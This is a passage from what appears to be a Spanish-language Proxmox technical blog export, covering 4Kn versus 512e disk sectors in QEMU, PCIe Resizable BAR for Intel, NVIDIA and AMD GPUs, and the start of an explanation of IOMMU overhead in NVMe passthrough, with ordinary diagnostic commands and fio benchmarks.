conservan aquello con lo que se construyeron, así que cambiarlo significa reconstruirlos.\nDiscos virtuales — un invitado ve lo que el hipervisor presenta, no el disco subyacente, así que un disco 4Kn bajo una VM todavía le da al invitado bloques de 512 bytes a menos que digas otra cosa. Mantener la pila 4K de punta a punta significa decirle a QEMU que presente 4K, que en Proxmox es una línea de argumento en bruto en /etc/pve/qemu-server/\u0026lt;vmid\u0026gt;.conf:\nargs: -global scsi-hd.physical_block_size=4k -global scsi-hd.logical_block_size=4096 Esa línea es lo que de verdad fuerza a QEMU a 4Kn para esos discos — -global lo aplica a cada dispositivo scsi-hd de la VM, así que al invitado se le dice 4096 tanto para el tamaño de bloque lógico como físico y particiona y alinea en consecuencia.\nNo entrecomilles toda la cadena. Proxmox parsea args: con Text::ParseWords::shellwords, así que esto:\nargs: \u0026#34;-global scsi-hd.physical_block_size=4k -global scsi-hd.logical_block_size=4096\u0026#34; colapsa en un único argumento — las comillas se respetan y se quitan, y a QEMU se le entrega una opción larga imparseable en vez de cuatro. Sin comillas, la misma línea se parte en -global, scsi-hd.physical_block_size=4k, -global, scsi-hd.logical_block_size=4096, que es lo que quieres. Es un error fácil de cometer porque entrecomillar es el instinto correcto en una línea de comandos, y el fallo — una VM que no arranca, quejándose de la opción — no apunta de vuelta a las comillas.\nHaz esto antes de instalar el SO invitado. Cambiar el tamaño de bloque de un disco bajo un sistema ya instalado puede dejarlo sin poder arrancar, porque la disposición de particiones y el gestor de arranque se escribieron para sectores de 512 bytes. Ten en cuenta también que args: es una escotilla de escape de experto fuera de la gestión de la GUI, y la interacción con la migración en vivo y las instantáneas vale la pena volver a comprobarla contra la documentación actual de Proxmox.\nCuando el invitado dice 512 y el host dice 4K Este es el caso que vale la pena entender bien, porque es lo que consigues por defecto después de hacer todo el trabajo de arriba.\nQEMU presenta bloques lógicos de 512 bytes al invitado a menos que se le diga otra cosa, sea cual sea el dispositivo de respaldo. Así que puedes convertir cada disco del host a 4Kn, y a las VM de encima todavía se les dirá 512 — y se lo creerán.\nEl invitado particiona entonces en fronteras de 512 bytes porque puede, y emite IO de 512 bytes porque puede. Pero el dispositivo del host ahora tiene de verdad un bloque lógico de 4096 bytes, y no aceptará una escritura de 512 bytes. Algo tiene que reconciliar los dos, y ese algo es el host: QEMU lee los 4 KB circundantes, fusiona en ellos los 512 bytes del invitado, y vuelve a escribir el conjunto.\nNo has quitado la emulación. La has movido del firmware del disco a tu hipervisor, donde cuesta CPU del host y un búfer de rebote en vez de ciclos del disco.\nCon cache=none esto tampoco es una penalización blanda. O_DIRECT contra un dispositivo 4Kn exige desplazamientos y longitudes alineados a 4 KB, así que una escritura de invitado de menos de 4K no se puede simplemente dejar pasar — la alineación hay que arreglarla en QEMU antes de emitir siquiera la IO.\nY el caso de la desalineación vuelve una capa más arriba. Un invitado particionado con granularidad de 512 bytes pone sus escrituras de 4 KB del sistema de ficheros en desplazamientos que cruzan dos bloques de 4 KB del host, así que cada una se convierte en dos lecturas-modificación-escritura en el host. El mismo fallo que una partición desalineada en un disco 512e desnudo, salvo que ahora está pasando dentro de una VM donde nadie lo está buscando.\nAsí que la regla es: si el host es 4Kn, presenta 4K al invitado también, y hazlo antes de que el SO entre.\nLa excepción es el soporte del invitado, que es toda la razón de que 512e exista:\nLos invitados Linux manejan 4Kn sin problema. Windows soporta 4Kn para volúmenes de datos desde Windows 8 y Server 2012 en adelante, y arrancar desde 4Kn quiere UEFI. Cualquier cosa más antigua — Windows 7 y anteriores — no puede hacer 4Kn en absoluto. Para esos, un disco virtual que presenta 512 es el precio de correrlos, y el host hará la reconciliación. Si eso importa, mantén esos invitados en almacenamiento donde te cueste menos en vez de en tu nivel más rápido. Comprueba con qué acabó de verdad el invitado, desde dentro del invitado:\nlsblk -o NAME,LOG-SEC,PHY-SEC 512 ahí en un host 4Kn significa que la reconciliación de arriba está pasando en cada escritura desalineada.\nReferencias OpenZFS — Workload Tuning — ashift, por qué 2^ashift es la IO más pequeña posible en un vdev, y la observación de que «many devices misreport their sector sizes» — muchos dispositivos informan mal de sus tamaños de sector Página de manual de nvme-format — --lbaf, --namespace-id, --ses y --force Página de manual de sg_format — --size con --format, la opción de formato rápido, y la advertencia de formato corrupto openSeaChest — las utilidades de disco de código abierto de Seagate, incluidas --setSectorSize y --showSupportedFormats Wiki de openSeaChest — Format, Fast Format, And Sector Sizes — qué transporte usa qué comando, y cuándo aplica el formato rápido nvmecontrol(8) — el equivalente de FreeBSD Documentación de la capa de bloques de Linux — cómo el núcleo modela los tamaños de bloque lógico y físico ","permalink":"https://blogs.damiendye.uk/es/proxmox/block-sizes-4kn-512e/","summary":"Los discos 512e presentan sectores de 512 bytes que no tienen, y el firmware inventa la diferencia en cada escritura desalineada. Qué cuesta eso en el medio, en el host y en amplificación de escritura — por qué las escrituras directas síncronas son el peor caso — y cómo convertir un parque a 4Kn.","title":"4Kn, 512e y 512n — por qué el 4K nativo gana, y qué cuesta la emulación"},{"content":"Qué es un BAR, y por qué las GPU se le quedaron pequeñas Cada dispositivo PCIe expone uno o más Base Address Registers. Un BAR le dice al sistema cuánto espacio de direcciones quiere el dispositivo, y el firmware lo mapea en el mapa de memoria del host. Una vez mapeado, la CPU alcanza la memoria del dispositivo con cargas y almacenamientos corrientes.\nEl tamaño de un BAR solía estar fijado en el silicio. El firmware lo leía al arrancar y ahí terminaba la conversación.\nEso estaba bien mientras los BAR eran pequeños. Una tarjeta de red quiere unas pocas decenas de kilobytes para sus registros. Una controladora NVMe quiere de 16KB a 64KB.\nLas tarjetas gráficas rompieron el arreglo. Una tarjeta moderna tiene 8, 12, 16 o 24GB de memoria de vídeo, y lo obvio es mapearla toda para que la CPU pueda escribir en cualquier parte de ella. Los BAR fijos no podían expresar eso, así que la convención pasó a ser una ventana pequeña — normalmente 256MB — que el driver reapunta sobre el framebuffer, copiando a través de ella a trozos. Funciona. Es solo una cantidad absurda de contabilidad para alcanzar una memoria que ya has comprado y montado.\nUna apertura fija expone una porción cada vez; el Resizable BAR mapea todo BAR fijo — una ventana de 256 MB 24 GB de VRAM, dibujados como porciones la ventana El driver reapunta la ventana y copia a través de ella, una porción cada vez. Las porciones son ilustrativas, sin escala. Resizable BAR — todo él los mismos 24 GB, mapeados una vez un BAR cubre todo La CPU escribe donde quiere. Sin ventana que mover. La apertura de 256MB es menos un límite de ancho de banda que un impuesto de contabilidad: el driver se pasa el tiempo moviendo la ventana en vez de moviendo datos. Qué cambia el Resizable BAR El Resizable BAR es una capacidad de PCIe que deja negociar el tamaño de un BAR en vez de fijarlo. El dispositivo anuncia los tamaños que puede soportar, y el firmware o el sistema operativo programa uno de ellos.\nPara una GPU eso significa que todo el framebuffer se puede mapear de una vez. El driver deja de paginar a través de una ventana y escribe donde quiere escribir. El núcleo informa de la capacidad como Physical Resizable BAR, y es neutral respecto al fabricante. Una tarjeta AMD funciona con él en una plataforma Intel y viceversa.\nQué hacen de verdad los tres fabricantes La parte interesante es que los fabricantes no se ponen de acuerdo en cuánto importa.\nTres fabricantes, una capacidad, tres posturas distintas Intel Arc / Arc Pro OBLIGATORIO “Required to get a good experience with Arc” Apagado, picos ya presentes se hacen más grandes. Plataformas: Core de 10.ª gen y casi toda Ryzen 3000, toda Ryzen 5000. NVIDIA PERFIL POR JUEGO de la serie RTX 30 en adelante, marzo de 2021 “A few percent, up to 12%” — y algunos títulos van más lentos, así que el driver la activa solo donde la midió más rápida. Update de VBIOS + SBIOS. AMD Radeon SMART ACCESS MEMORY La misma capacidad, vendida bajo un nombre de marca Lanzada con la RX 6000 y la Ryzen 5000 como función emparejada, pero la capacidad es la estándar de PCIe y funciona entre fabricantes. Más irregular en Vega y Polaris. La capacidad es idéntica en los tres casos — lo que difiere es si el fabricante la trata como un prerrequisito, una optimización que aplicar selectivamente, o una función de producto. La misma capacidad, tres posturas distintas. Intel la trata como un prerrequisito; NVIDIA la entrega activada solo para los juegos que ha probado; AMD la vende como una función. Intel Arc y Arc Pro — Intel lo llama obligatorio Intel es el enfático. Su guía dice que el Resizable BAR es «required to get a good experience with Intel® Arc™ hardware» — necesario para tener una buena experiencia con el hardware Intel Arc. Ese es un lenguaje inusualmente fuerte para una función de plataforma, y muestra cómo está construido el driver de Arc más que una elección de marketing.\nDel lado de los síntomas, Intel describe el efecto de apagarlo en términos de regularidad y no de medias: con «ReBAR off» «will generally result in spikes that were already there getting bigger» — los picos que ya estaban se hacen más grandes. Ese es un argumento de estabilidad de tiempos de fotograma, y es la misma forma de problema que el efecto de ASPM en las colas de latencia. La media lo esconde.\nIntel lista los procesadores Intel Core de 10.ª generación y más nuevos, la mayoría de la serie Ryzen 3000 y todas las CPU Ryzen 5000 como plataformas soportadas, y lo trata como una función de la BIOS de la placa que tienes que ir a activar.\nLa consecuencia práctica para Arc y Arc Pro es simple. Si has puesto una tarjeta Arc en una máquina y el rendimiento es decepcionante o desigual, comprueba esto antes que ninguna otra cosa. Por eso, en esas tarjetas no es tanto un mando de ajuste como un prerrequisito.\nNVIDIA — de Ampere en adelante, y solo donde ayuda NVIDIA añadió soporte para las tarjetas y portátiles GeForce RTX serie 30 en marzo de 2021. Ponerlo a funcionar necesitaba una VBIOS soportada, una CPU y una placa compatibles, una actualización del firmware de la placa, y un driver actual. La RTX 3060 se entregó con él; la 3060 Ti, la 3070, la 3080 y la 3090 podían necesitar una actualización de firmware para tenerlo.\nEl planteamiento de rendimiento de la propia NVIDIA es refrescantemente poco glamuroso. Encontraron que «some titles benefit from a few percent, up to 12%» — algunos títulos ganan unos pocos por ciento, hasta un 12 % — mientras que «there are also titles that see a decrease in performance», así que también hay títulos cuyo rendimiento baja.\nSu respuesta a eso es el detalle que vale la pena saber: en vez de dejarlo activado de forma global, NVIDIA prueba los títulos por adelantado y usa perfiles por juego para activar el Resizable BAR solo donde midió una ganancia. Así que en una tarjeta NVIDIA, «¿está ReBAR activado?» tiene una respuesta por aplicación, y un benchmark que no muestra nada puede ser simplemente un título que el driver decidió dejar en paz.\nAMD — Smart Access Memory es lo mismo La marca de AMD para ello es Smart Access Memory, introducida junto a la serie Radeon RX 6000 y las CPU Ryzen 5000. El marketing da a entender un emparejamiento de CPU-AMD-más-GPU-AMD, y así se lanzó, pero la capacidad de debajo es la estándar de PCIe. Activa el Resizable BAR en el firmware con una tarjeta Radeon en una máquina Intel y obtienes la misma función sin la marca.\nLas tarjetas Radeon Pro serie W también lo soportan. En arquitecturas más antiguas — Vega y Polaris — el soporte es más irregular, y ahí es también donde viven los problemas de virtualización.\nEl Resizable BAR y el trabajo de IA Aquí es donde la función se malinterpreta, así que vale la pena tener claro qué toca.\nEl Resizable BAR cambia cómo la CPU alcanza la memoria de la GPU. Ese es el camino de transferencia — preparar los pesos del modelo, empujar lotes, leer los resultados de vuelta. No toca el ancho de banda de la propia memoria de la GPU, y no hace más rápida una multiplicación de matrices.\nAsí que el resumen honesto es que afecta a la carga y la alimentación de un modelo, no a la aritmética. Para un modelo grande, la copia de host a dispositivo en el momento de la carga es un coste genuino, y un BAR de tamaño completo deja a la CPU escribir directo en la memoria del dispositivo en vez de transbordar a través de un ojo de buey de 256MB. Para el estado estacionario de una tirada de inferencia — donde los pesos ya están residentes y el trabajo está limitado por el cómputo. No esperes nada.\nTres detalles concretos vale la pena saberlos.\nArc Pro para IA hereda el veredicto de Intel. Si Intel dice que la tarjeta necesita Resizable BAR para una buena experiencia, eso se aplica a una tarjeta corriendo oneAPI o PyTorch igual que a una corriendo un juego. Las tarjetas Arc y Arc Pro que hacen inferencia deberían tenerlo activado, y punto.\nEn NVIDIA, el número que quieres es el BAR1. El BAR1 es la ventana visible por el host hacia la memoria del dispositivo, y es por lo que pasan las reservas mapeadas por el host y el GPUDirect RDMA:\n# How much device memory is actually host-visible nvidia-smi -q | grep -A3 \u0026#34;BAR1 Memory Usage\u0026#34; Una tarjeta de centro de datos se construye con un BAR1 grande ya. En una tarjeta de escritorio, el Resizable BAR es lo que hace esa ventana grande en vez de diminuta. Si estás haciendo RDMA directo desde una NIC hacia la memoria de la GPU, esto no es un lujo.\nNo confundas esto con el requisito de ROCm. Los requisitos de sistema de ROCm de AMD piden CPU que soporten atómicas PCIe — «modern CPUs after the release of 1st generation AMD Zen CPU and Intel™ Haswell», las CPU modernas aparecidas tras el Zen de 1.ª generación de AMD y el Haswell de Intel — y no dicen nada sobre el dimensionamiento de los BAR. Esos son dos requisitos de plataforma distintos que viven ambos en el mismo menú de la BIOS, y la gente los confunde constantemente. Comprueba el que de verdad necesitas.\nEl modo de fallo que muerde más fuerte a las builds de IA no es el rendimiento en absoluto, y está cubierto más abajo: varias GPU de BAR grande en una máquina pueden agotar el espacio de direcciones.\nQué necesita para funcionar Cuatro cosas, y todas son a nivel de firmware:\nResizable BAR activado en el firmware de la placa. A menudo desactivado por defecto. Above 4G Decoding activado. Un BAR de 24GB no cabe por debajo de la línea de los 4GB, así que la plataforma tiene que estar dispuesta a asignar espacio de direcciones por encima de ella. Actívalo aunque no haya ninguna GPU presente. No cuesta nada. Arranque UEFI, con el CSM apagado. El modo de compatibilidad heredado y los BAR grandes no se mezclan. Firmware y drivers actuales, en particular en las placas y tarjetas de la transición 2020-2021, donde el soporte llegó por actualización y no en el lanzamiento. Un BAR grande solo cabe por encima de 4GB, y la apertura del invitado tiene que ser lo bastante grande para contenerlo Donde un BAR redimensionado puede vivir de verdad RAM del sistema 0 agujero MMIO de 32 bits 4 GB MMIO de 64 bits alto GPU 0 24 GB BAR GPU 1 — 24 GB GPU 2 — 24 GB GPU 3 — 24 GB Abarrotado, y solo 4 GB de ancho en total Un BAR de 24 GB no puede ir aquí. Uno de 256 MB apenas podría. Usable solo con Above 4G Decoding Un ajuste de firmware. Desactivado por defecto en algunas placas, y sin él un BAR grande no se asigna nunca en absoluto. Cada tarjeta necesita su propio hueco aquí arriba 4 tarjetas de 24 GB piden 96 GB de MMIO 64-bit, más todo lo demás del bus. No toda placa de consumo tiene firmware que lo haga. La señal: bien con dos tarjetas, una se niega a inicializar con cuatro; dmesg: sin sitio para el BAR. Sin escala: la región de 64 bits es enormemente mayor que los 4 GB de debajo, que es más bien el objeto. El Above 4G Decoding es lo que hace usable siquiera la región superior — y cada tarjeta necesita su propio hueco ahí arriba, que es donde las builds de IA multi-GPU chocan con el muro. Cómo comprobarlo en Linux Si la tarjeta tiene la capacidad, y qué tamaños ofrece:\n# Substitute your card\u0026#39;s address from lspci lspci -vvs 0000:XX:00.0 | grep -A6 \u0026#34;Physical Resizable BAR\u0026#34; El núcleo también expone esto en sysfs, un fichero por cada BAR redimensionable:\ncat /sys/bus/pci/devices/0000:XX:00.0/resource1_resize Ese valor es un mapa de bits de los tamaños soportados, no un tamaño. El bit 0 significa 1MB, el bit 1 significa 2MB, el bit 2 significa 4MB, y el tamaño para un bit dado es 2 ^ (bit + 20). Así que 00000000000001c0 tiene los bits 6, 7 y 8 puestos, lo que significa que el BAR puede ser de 64MB, 128MB o 256MB.\nPara ver qué está en vigor de verdad, lee las regiones asignadas:\nlspci -vvs 0000:XX:00.0 | grep -i Region Una tarjeta corriendo con su framebuffer completo mapeado muestra una región que coincide con el tamaño de su VRAM en vez de una de 256MB.\nRedimensionar a mano Puedes escribir tú mismo la posición del bit:\n# bit 7 -\u0026gt; 2 ^ (7 + 20) = 128MB echo 7 \u0026gt; /sys/bus/pci/devices/0000:XX:00.0/resource1_resize Las condiciones adjuntas son estrictas, y vale la pena leerlas antes de probarlo en una máquina que te importe. Cada driver debe desvincularse del dispositivo primero. Los dispositivos pares bajo el mismo puente padre pueden necesitar una retirada blanda. En un dispositivo VGA, escribir un valor de redimensión derriba los drivers de consola de bajo nivel. Cualquier cosa que mantenga abiertos los ficheros sysfs resourceN tiene que soltarlos.\nLa documentación del núcleo también es rotunda sobre el resultado: el éxito no está garantizado. La redimensión falla si no hay espacio de direcciones donde colocar el BAR mayor. Lo que te lleva directo de vuelta al Above 4G Decoding.\nCuando sale mal dmesg dice que no puede asignar el BAR. Los mensajes con la forma BAR 0: no space for [mem size ...] significan que la asignación falló, no que la tarjeta esté defectuosa. El Above 4G Decoding es lo primero que comprobar.\nVarias GPU y una de ellas no inicializa. Este es el fallo de multi-GPU y de rig de IA. Cuatro tarjetas con BAR de 24GB necesitan 96GB de espacio MMIO de 64 bits asignados, más todo lo demás, y no el firmware de toda placa de consumo lo hará. El síntoma es que la máquina va bien con dos tarjetas y se cae con cuatro.\nEl rendimiento bajó. En NVIDIA eso puede ser la propia conclusión del driver, dado que lo activan por título justo porque algunas cargas empeoran. En las otras, mide de las dos formas en vez de suponer.\nNo cambió nada en absoluto. El resultado más probable para una carga que nunca estuvo limitada por la ventana de la CPU hacia la VRAM.\nPasar una GPU de BAR grande a una VM Vale la pena señalarlo porque sorprende a la gente: un invitado no hereda el mapa de memoria del host. El firmware de la VM construye su propia apertura MMIO de 64 bits, y el valor por defecto de OVMF es mucho más pequeño de lo que una GPU moderna necesita, así que la tarjeta o no inicializa o recae en un BAR pequeño. Ese es un tema de Proxmox y QEMU más que de la GPU, y vive en el artículo del impuesto del IOMMU junto a los requisitos de tipo de máquina de Usa siempre Q35, no i440fx.\nReferencias Intel — Resizable BAR e Intel Arc Graphics — la propia afirmación de Intel de que es necesario para una buena experiencia en Arc, y la lista de plataformas soportadas NVIDIA — soporte de Resizable BAR para la GeForce RTX serie 30 — los requisitos, el rango medido, y el enfoque de perfiles por juego AMD — Smart Access Memory — la marca de AMD y el emparejamiento de plataforma ABI sysfs-bus-pci del núcleo Linux — resourceN_resize — el mapa de bits, el dimensionamiento 2 ^ (bit + 20), y las condiciones de desvinculación Requisitos de sistema de ROCm — el requisito de atómicas PCIe que se confunde con este ","permalink":"https://blogs.damiendye.uk/es/proxmox/pcie-resizable-bar/","summary":"El Resizable BAR deja a la CPU mapear todo el framebuffer de una GPU en vez de atisbarlo por una ventana de 256MB. Intel lo llama obligatorio para Arc, NVIDIA lo activa por juego, AMD lo vende como Smart Access Memory — y para el trabajo de IA cambia la transferencia, no las cuentas.","title":"PCIe Resizable BAR y las GPU modernas — Intel Arc, NVIDIA y AMD"},{"content":"El problema Esto surgió durante un trabajo con un cliente en el que diseñábamos un despliegue de Proxmox VE con passthrough de NVMe para una carga sensible a la latencia. El cliente había hecho su propio benchmarking antes de la llamada. En el host, fio contra el disco NVMe informaba de 700K IOPS de lectura aleatoria con latencia de finalización por debajo de 10µs. Dentro de la VM, usando el mismo disco con la misma prueba, obtenían aproximadamente la mitad.\nYa habían comprobado lo obvio. El disco no había cambiado. El firmware no había cambiado. La ranura PCIe no se había movido. Empezaban a preguntarse si el passthrough era el enfoque equivocado por completo.\nNo lo era. Lo que veían es el impuesto del IOMMU. Pilla desprevenida a la gente porque nadie te habla de él antes de que te hayas comprometido con el diseño de passthrough. La buena noticia es que la mayor parte de la sobrecarga es recuperable una vez que entiendes de dónde viene.\nEn profundidad Los problemas que había que resolver Dar a una VM acceso directo a un dispositivo PCIe físico suena sencillo. En la práctica, es uno de los problemas más difíciles de la virtualización de sistemas. Unas cuantas cosas que funcionan automáticamente en bare metal se vuelven peligrosas cuando un dispositivo se comparte entre un host y un invitado.\nAislamiento de DMA Este es el problema fundamental.\nLos dispositivos PCIe no pasan por la CPU para leer y escribir memoria. Usan Acceso Directo a Memoria. Escriben directo a direcciones físicas de RAM. En bare metal, eso está bien. El dispositivo y el SO se fían el uno del otro.\nBajo virtualización, la VM invitada tiene su propia visión de la memoria física. Las direcciones que el driver del invitado le da a la controladora NVMe son direcciones físicas del invitado. No se corresponden con las mismas ubicaciones en la RAM del host. Si el dispositivo las usa directamente, lee y escribe la memoria equivocada. Eso corrompe el host, otras VM, o ambos.\nPeor aún, un driver de invitado malicioso o con errores podría programar deliberadamente el dispositivo para hacer DMA en cualquier parte de la memoria del host. Eso es efectivamente acceso root a toda la máquina sin explotar jamás un fallo del hipervisor.\nLa solución es el IOMMU — una unidad de traducción por hardware (Intel VT-d, AMD-Vi) que se sitúa entre cada dispositivo PCIe y la memoria principal. Mantiene sus propias tablas de páginas, separadas de las de la CPU. Cada petición de DMA del dispositivo pasa por el IOMMU, que traduce las direcciones físicas del invitado a direcciones físicas del host y bloquea cualquier acceso fuera de las regiones de memoria asignadas al invitado.\nSin el IOMMU, el passthrough seguro es imposible. Con él, el dispositivo queda contenido.\nAgrupación de dispositivos El IOMMU no aísla dispositivos individuales. Aísla grupos.\nLa especificación PCIe define los Access Control Services (ACS) que gobiernan si los dispositivos del mismo bus pueden hablarse directamente — DMA de igual a igual — sin pasar por el complejo raíz donde está el IOMMU. Si dos dispositivos comparten un switch PCIe que no impone ACS, un dispositivo puede hacer DMA en el espacio de memoria del otro, saltándose el IOMMU por completo.\nEl núcleo agrupa los dispositivos que potencialmente pueden alcanzarse sin la imposición del IOMMU en un único grupo de IOMMU. Si tu controladora NVMe comparte un grupo con otro dispositivo, pasar solo la NVMe rompe el modelo de aislamiento. El otro dispositivo del grupo todavía se podría usar como un canal lateral alrededor del IOMMU.\nEl hardware de grado servidor con soporte ACS adecuado en cada puente y switch normalmente da a cada dispositivo su propio grupo. Las placas de consumo y de estación de trabajo a menudo juntan varios dispositivos porque el complejo raíz PCIe no implementa ACS en cada puerto.\nProxmox lleva un parche del núcleo — pcie_acs_override — que le dice al núcleo que trate cada dispositivo como aislado sin importar el soporte ACS del hardware. Funciona en la práctica, pero le está mintiendo al núcleo sobre la topología del hardware. En un sistema de producción, los grupos limpios respaldados por ACS real del hardware son siempre preferibles.\nEntrega de interrupciones En bare metal, cuando una controladora NVMe completa una operación de IO, dispara una interrupción MSI-X directamente a la CPU. La CPU la maneja en unos pocos cientos de nanosegundos.\nBajo virtualización, esa interrupción tiene que llegar al invitado, no al host. El enfoque ingenuo es atrapar cada interrupción en el hipervisor, disparar una salida de VM, inyectar la interrupción en el invitado, y reanudar. Eso funciona, pero cada salida de VM cuesta 5-20µs. A IOPS altas — cientos de miles de interrupciones por segundo — la sobrecarga es sustancial.\nLa solución de hardware son las interrupciones publicadas. La APICv de Intel y la AVIC de AMD permiten al IOMMU escribir la interrupción directamente en la página APIC virtual del invitado sin causar ninguna salida de VM. El invitado ve la interrupción como si viniera de hardware bare-metal. La sobrecarga baja a unos pocos cientos de nanosegundos.\nNo todas las plataformas soportan interrupciones publicadas. Las CPU más antiguas, algunos chipsets de estación de trabajo, y algunas versiones de BIOS no exponen la capacidad. Cuando están ausentes, cada interrupción va por el camino lento, y no hay solución por software.\nReinicio de dispositivo Cuando una VM se apaga o se cae, el dispositivo pasado necesita volver a un estado limpio y conocido. Si no, no se puede reasignar a otra VM ni reclamar por el host.\nEn bare metal, el SO hace un apagado ordenado del driver del dispositivo. Bajo passthrough, el invitado podría caerse, el usuario podría forzar la parada de la VM, o el hipervisor podría matar el proceso. El dispositivo podría estar a mitad de transferencia con operaciones de DMA en curso.\nPCIe define el Function Level Reset (FLR) para esto — una forma de reiniciar una única función de dispositivo sin afectar al resto del bus. Las controladoras NVMe generalmente soportan FLR y lo manejan bien. Las GPU son notoriamente malas en ello, pero eso es otro artículo.\nSi FLR no se soporta, el recurso es un reinicio de bus secundario, que reinicia todo lo que hay detrás de ese puente PCIe. Si el puente tiene otros dispositivos, todos se reinician también. En el peor caso, un reinicio completo del host es la única forma de reclamar el dispositivo.\nSobrecarga de traducción de direcciones El IOMMU resuelve el problema de seguridad. Por eso, no es opcional. Pero introduce uno de rendimiento.\nCada operación de DMA pasa ahora por un nivel extra de traducción de direcciones. El IOMMU tiene su propio TLB — el IOTLB — y cuando acierta, la sobrecarga es pequeña. Cuando falla, el IOMMU tiene que recorrer sus tablas de páginas, y eso añade latencia real a cada operación de IO afectada.\nEste es el impuesto del IOMMU. El resto de este artículo va de entender de dónde viene y cómo minimizarlo.\nCada DMA pasa por el IOMMU: un acierto es barato, un fallo recorre las tablas de páginas VM invitada Driver NVMe reparte direcciones físicas del invitado Controladora NVMe escribe memoria directamente — sin CPU DMA IOMMU IOTLB sus tablas de páginas traduce, luego permite o rechaza Memoria del host las páginas de esta VM la traducción cae aquí el host y otras VM inalcanzable por diseño Sin el IOMMU, la controladora escribiría direcciones del invitado directo en la RAM del host y corrompería lo que sea que viva ahí. acierto — ya está cacheada; cuesta casi nada. fallo — el IOMMU recorre sus tablas de páginas, y esa latencia cae sobre esta IO. Este es el impuesto. Nada alcanza la memoria sin pasar por aquí. Esa es la garantía de seguridad, y la traducción que realiza es el coste. Mapeo de BAR y espacio de direcciones Cada dispositivo PCIe expone uno o más Base Address Registers (BAR) que mapean los registros y la memoria internos del dispositivo en el espacio de direcciones MMIO del host. La CPU del host accede al dispositivo a través de estos mapeos. Para que el passthrough funcione, el hipervisor tiene que presentar estos mapeos correctamente al invitado.\nTradicionalmente, los tamaños de los BAR se fijaban al arrancar por la BIOS y cabían dentro de la ventana MMIO heredada de 32 bits por debajo de los 4GB. Eso funcionaba cuando los BAR eran pequeños. Las GPU modernas han cambiado el panorama. Un framebuffer de 24GB necesita un BAR de 24GB, que no cabe en un espacio de direcciones de 32 bits.\nEl Resizable BAR (ReBAR) — también comercializado como AMD Smart Access Memory (SAM) — es una capacidad de PCIe que permite renegociar el tamaño del BAR después de arrancar. Para las GPU, esto es una función importante. En vez de acceder al framebuffer a través de una ventana de 256MB y paginar por ella a trozos, el host mapea toda la VRAM de una vez.\nPara NVMe, el impacto directo es menor. Los BAR de las controladoras NVMe son normalmente de 16KB a 64KB para el conjunto de registros de la controladora (BAR0). La especificación NVMe define un Controller Memory Buffer (CMB) que puede exponer un BAR mayor para las colas de envío residentes en el host, pero la mayoría de los discos no lo implementan. ReBAR no cambia el rendimiento de NVMe como lo hace para las GPU.\nLa razón por la que importa en un contexto de passthrough de NVMe es el entorno PCIe compartido. Si estás pasando un disco NVMe junto a una GPU en el mismo host, el BAR redimensionado de la GPU necesita espacio de direcciones por encima de la frontera de los 4GB. La BIOS, el IOMMU, y la topología PCIe virtual tienen que acomodar todos eso. Equivocarse con la asignación del espacio de direcciones significa que los dispositivos no inicializan, y el passthrough de NVMe falla junto a todo lo demás.\nExposición a la pérdida de energía En un disco virtual, el hipervisor y la capa de almacenamiento manejan el orden de escritura y la consistencia ante caídas. Con passthrough, el invitado habla directamente con la flash. Si el host pierde energía a mitad de escritura, lo que el firmware de la controladora NVMe haga — o no haga — con su caché de escritura determina si pierdes datos.\nLos discos NVMe empresariales llevan condensadores de protección ante pérdida de energía (PLP) que vacían la caché de escritura de forma segura durante un fallo de energía. Los discos de consumo sin PLP puede que no. Con passthrough, no hay red de seguridad del hipervisor entre el invitado y el hardware.\nPara una carga de producción, un disco empresarial con PLP no es opcional.\nCompromisos operativos El passthrough también quita capacidades que los discos virtuales proveen.\nUn dispositivo pasado está físicamente atornillado a un host concreto. La VM no se puede migrar en vivo mientras el dispositivo está conectado. En un clúster Proxmox con HA, un fallo de nodo significa que la VM se cae y arranca en frío en otro nodo. No hay failover sin costuras.\nEl disco también es invisible para vzdump y Proxmox Backup Server. No se incluirá en las instantáneas de VM ni en las copias programadas. Una estrategia de copia aparte — a nivel de invitado, de sistema de ficheros, o de aplicación — necesita estar en su sitio antes de que la carga entre en producción.\nCómo funciona en realidad el passthrough VFIO Cuando pasas un dispositivo PCIe a una VM, el hipervisor le da al invitado el control directo de los registros MMIO del dispositivo. El driver del invitado habla con la controladora NVMe como si corriera en bare metal. Esa parte es casi nativa. El acceso a los registros MMIO pasa por las Extended Page Tables (EPT en Intel, NPT en AMD) y normalmente se completa sin una salida de VM.\nEl camino de DMA es donde aparece el coste. Cada operación de DMA pasa por el IOMMU para la traducción de direcciones, y como se describió arriba, esa traducción tiene un precio. Especialmente en los fallos de IOTLB.\nPor qué los benchmarks parecen peor que la realidad Aquí es donde la mayoría de la gente se equivoca con sus pruebas.\nUn hilo del foro de Proxmox que motivó este artículo tenía usuarios corriendo fio con iodepth=1. A esa profundidad de cola, fio envía una IO, espera a que se complete, y luego envía la siguiente. La prueba solo mide la latencia por IO. Cada microsegundo de sobrecarga del IOMMU aparece al completo.\nLos números de ese hilo cuentan la historia con claridad. La latencia de finalización en bare metal promediaba en torno a 10µs. Dentro de la VM, promediaba en torno a 28µs. Esos ~18µs extra por IO son la sobrecarga de traducción del IOMMU. A iodepth=1, reduce directamente a la mitad el rendimiento porque el rendimiento es igual a 1 / latencia cuando solo hay una IO en curso.\nSube la profundidad de cola a 32 o 64 — que es como los discos NVMe están diseñados para operar — y el panorama cambia. Con varias IO en curso, la sobrecarga del IOMMU se amortiza entre todas. La controladora procesa finalizaciones mientras suceden nuevas traducciones. El rendimiento se recupera hasta unos pocos por ciento del bare metal.\nLa conclusión práctica es esta. Si tu carga corre a profundidades de cola por encima de 4, la penalización de rendimiento del IOMMU es probablemente insignificante. Eso cubre la mayoría de las cargas de base de datos, virtualización y almacenamiento. Si tu carga es sensible a la latencia a profundidades de cola bajas — ciertas aplicaciones en tiempo real, operaciones síncronas de metadatos — la notarás.\nLa penalización del IOMMU es un artefacto de profundidad de cola más que un techo de rendimiento Rendimiento de la VM como proporción del bare metal las cargas realistas viven aquí 0% 25% 50% 75% 100% el benchmark que todos corren iodepth=1 mide la latencia pura por IO, así que el 10 µs frente a 28 µs aparece al completo a unos pocos por ciento 1 2 4 8 16 32 64 profundidad de cola (iodepth de fio) Ilustrativo, de las propias cifras de 10 µs / 28 µs del artículo. El mismo hardware, la misma prueba, la misma sobrecarga — solo cambia la profundidad de cola. La sobrecarga es la misma en cada punto de esta curva. Lo único que cambia es cuántas IO hay en curso para amortizarla. Corre tus benchmarks a profundidades de cola realistas antes de concluir que el passthrough es demasiado lento:\n# Bare metal baseline — run on the host before binding to vfio-pci fio --name=randread --ioengine=libaio --direct=1 --bs=4k \\ --iodepth=32 --numjobs=4 --rw=randread 